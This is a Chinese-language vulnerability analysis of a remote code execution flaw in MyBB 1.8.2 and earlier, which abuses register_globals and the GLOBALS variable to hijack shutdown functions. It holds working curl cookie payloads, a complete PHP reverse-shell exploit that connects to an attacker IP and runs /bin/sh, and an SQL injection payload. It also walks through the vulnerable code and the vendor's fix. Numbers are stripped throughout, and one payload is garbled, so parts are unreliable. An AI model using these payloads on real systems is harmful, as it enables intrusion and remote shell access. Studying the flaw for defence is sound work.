. 漏洞描述

. 漏洞触发条件

. 漏洞影响范围

. 漏洞代码分析

. 防御方法

. 攻防思考

https://cxsecurity.com/issue/WLB-2015120164

https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.html

https://www.exploit-db.com/exploits/35323/

//php.ini配置

. request_order = "GP"

. register_globals = On

//remote code execution by just using curl on the command line

. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/

<?php

// Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit

// Date: 15/12/2015

// Exploit Author: ssbostan

// Vendor Homepage: http://www.mybb.com/

// Software Link: http://resources.mybb.com/downloads/mybb_1802.zip

// Version: <= 1.8.2

// Tested on: MyBB 1.8.2

$target="http://localhost/mybb1802/index.php";

$yourip="ipaddress";

$ch=curl_init();

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;");

curl_setopt($ch, CURLOPT_URL, $target);

curl_exec($ch);

curl_close($ch);

// nc -l 4444

// php mybb-1802-core-exploit.php

?>

//php.ini

. disable_functions = ini_get

. register_globals = On

//url

. index.php?shutdown_functions[][function]=phpinfo&shutdown_functions[][arguments][]=-

//php.ini配置

. request_order = "GP"

. register_globals = On

//url

curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php

//Works on disable_functions = ini_get and register\_globals = On:

css.php?shutdown_queries[]=SQL_Inj

MyBB 1.8 <= 1.8. and MyBB 1.6 <= 1.6.

..

// If we've got register globals on, then kill them too

/*

When PHP's register_globals configuration set on, MyBB will call unset_globals() function

all global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.

这是MyBB做的一种安全机制，在每个PHP脚本请求的开始进行"超全局变量自动注册反向处理"，抵消可能出现的register_globals导致的安全问题

*/

if(@ini_get("register_globals") == )

{

    $this->unset_globals($_POST);

    $this->unset_globals($_GET);

    $this->unset_globals($_FILES);

    $this->unset_globals($_COOKIE);

}

..

/**

 * Unsets globals from a specific array.

 *

 * @param array The array to unset from.

 */

function unset_globals($array)

{

    if(!is_array($array))

    {

        return;

    }

    foreach(array_keys($array) as $key)

    {

        unset($GLOBALS[$key]);

        unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4

    }

}

. 在正常情况下，通过GPC方式输入的变量，即使开启了register_globals，也会被自动进行unset $GLOBAL[$var]处理，这是MyBB自己实现了一套防御低版本PHP误开启register_globals = On的代码逻辑，这防御了本地变量覆盖的发生

. 但是存在一个特殊的变量GLOBALS，$GLOBALS超全局数组是PHP内核负责创建维护的，我们可以在程序中任意位置读写$GLOBALS['key']，PHP内核绑定了$GLOBALS数组和global symbol table之间的连接

. 如果黑客传入: foo.php?GLOBALS=，则MyBB会执行unset($GLOBALS["GLOBALS"]);这会直接导致$GLOBALS和global symbol table之间的连接

. 注意到MyBB源代码中这行代码

/*

\mybb_1802\inc\class_core.php

if(@ini_get("register_globals") == 1)

{

    ..

    $this->unset_globals($_COOKIE);

}

黑客注入的COOKIES为: GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1

则代码逻辑会按如下执行

1. unset($GLOBALS["GLOBALS"]);

2. 则之后的unset($GLOBALS["shutdown_functions"]);就会失效，因为此时绑定已经不存在了

*/

. 此时已经绕过了MyBB原生的变量覆盖防御机制

..

function __construct()

{

    // Set up MyBB

    $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");

    foreach($protected as $var)

    {

        if(isset($_REQUEST[$var]) || isset($_FILES[$var]))

        {

            die("Hacking attempt");

        }

    }

    ..

GLOBALS=; shutdown_functions[][function]=exec; shutdown_functions[][arguments][]=php%%2Dr%%%24sock%3Dfsockopen%%$yourip%%2C%%%3Bexec%%%2Fbin%2Fsh%%2Di%%3C%%%3E%%%3E%%%%3B%;

. MyBB <= PHP 5.3: request_order = "GP"

. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On 

//class_core.php几乎是所有页面脚本都会调用到的文件，下面的析构函数会被频繁调用

function __destruct()

{

    // Run shutdown function

    if(function_exists("run_shutdown"))

    {

        run_shutdown();

    }

}

/**

 * Runs the shutdown items after the page has been sent to the browser.

 *

 */

function run_shutdown()

{

    //the $shutdown_functions was initialized via add\_shutdown() function in init.php

    //但是因为本地变量覆盖漏洞的存在，这里$shutdown_functions可以被劫持

    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;

    if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors))

    {

        return;

    }

    ..

    // Run any shutdown functions if we have them

    if(is_array($shutdown_functions))

    {

        foreach($shutdown_functions as $function)

        {

            call_user_func_array($function['function'], $function['arguments']);

        }

    }

    ..

http://0day.today/exploit/22913

class MyBB {

    ..

    function __construct()

    {

        // Set up MyBB

        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");

        foreach($protected as $var)

        {

            /*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/

            if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var]))

            {

                die("Hacking attempt");

            }

        }

        ..

http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/

http://cn.313.ninja/exploit/22913